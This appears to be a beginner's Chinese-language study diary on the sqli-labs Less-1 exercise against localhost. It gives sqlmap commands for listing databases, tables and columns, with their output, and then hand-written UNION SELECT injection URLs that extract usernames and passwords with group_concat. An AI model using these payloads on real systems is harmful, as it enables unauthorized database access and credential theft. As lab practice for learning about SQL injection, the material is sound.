sqli-labs从零开始学习日记(二)
嗯，这次有个很好用的东西SQLMAP,主要是我看的视频里面他们用的是其他的软件，拿东西我不会，我就用SQLMAP来代替了，所以就用它来列数据了
预备知识了
group_concat()这个函数。
对于自己搭建平台进行学习，我们可以手工进行测试，但是我是菜鸟怎么构造语句了，这时候就用SQLMAP自动化测试啦啦啦，里面有个信息等级制度-V3 可以显示一些注入参数 默认为-V1就是基本上就一些重要信息
下面是SQLMAP的一些用法和数据收集，当然也可以用其他，只是其他我不了解。
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -v3(3会显示注入的payload,也可以换其
他的)
sqlmap -u http://localhost/sqli-labs/Less-1/?id=1
--dbs
然后就弄了一堆数据库的信息
available databases [9]:
[*] cdcol
[*] data
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] security
[*] test
[*] webauth
我只知道这是数据库，其他的不是很明白，还是要补数据库知
识啊。
然后了就是找出库里面的表
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -v3 -D security --tabl
es
数据如下
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -D security -T users --columns
数据如下表
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -D security -T emails --columns
数据如下表
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email_id | varchar(30) |
| id | int(3) |
+----------+-------------+
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -D information_schema --table
数据如下
Database: information_schema
[59 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
python sqlmap.py -u http://localhost/sqli-
labs/Less-1/?id=1 -D information_schema
-T TABLES --columns
数据如下
Database: information_schema
Table: TABLES
[21 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| VERSION | bigint(21) unsigned |
| AUTO_INCREMENT | bigint(21) unsigned |
| AVG_ROW_LENGTH | bigint(21) unsigned |
| CHECK_TIME | datetime |
| CHECKSUM | bigint(21) unsigned |
| CREATE_OPTIONS | varchar(255) |
| CREATE_TIME | datetime |
| DATA_FREE | bigint(21) unsigned |
| DATA_LENGTH | bigint(21) unsigned |
| ENGINE | varchar(64) |
| INDEX_LENGTH | bigint(21) unsigned |
| MAX_DATA_LENGTH | bigint(21) unsigned |
| ROW_FORMAT | varchar(10) |
| TABLE_CATALOG | varchar(512) |
| TABLE_COLLATION | varchar(32) |
| TABLE_COMMENT | varchar(2048) |
| TABLE_NAME | varchar(64) |
| TABLE_ROWS | bigint(21) unsigned |
| TABLE_SCHEMA | varchar(64) |
| TABLE_TYPE | varchar(64) |
| UPDATE_TIME | datetime |
+-----------------+---------------------+
还有一个注入语句补充下：
python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 -D information_schema -T tables -C table_name --dump //这个是列表里面的内容的，这个貌似还可以限制的，以后我会继续学习补充的
然后这个数据库的内容我们就比较清楚的知道了，作为菜鸟就
可以看着这个构造语句了。
http://localhost/sqli-labs/Less-1/?id=111'union
select 1,table_name,3 from information_schema.tables
where table_schema=database() limit 1(1,2,3,4都试试
),1--+//观察
然后我在下面继续给出由上面一堆数据库弄出来的一些构造语
句。
http://localhost/sqli-labs/Less-1/?id=111'union
select 1,group_concat(table_name),3 from
information_schema.tables where
table_schema=database() --+//然后就可以一起显示了
http://localhost/sqli-labs/Less-1/?id=111'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+//这个是显示USERS里面的数据
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(username),3 from users --+//就是ID=多少的用户名数据放一起了
http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(username),group_concat(password) from users --+//这个就是进化版了，有密码
然后对比分析呗。。。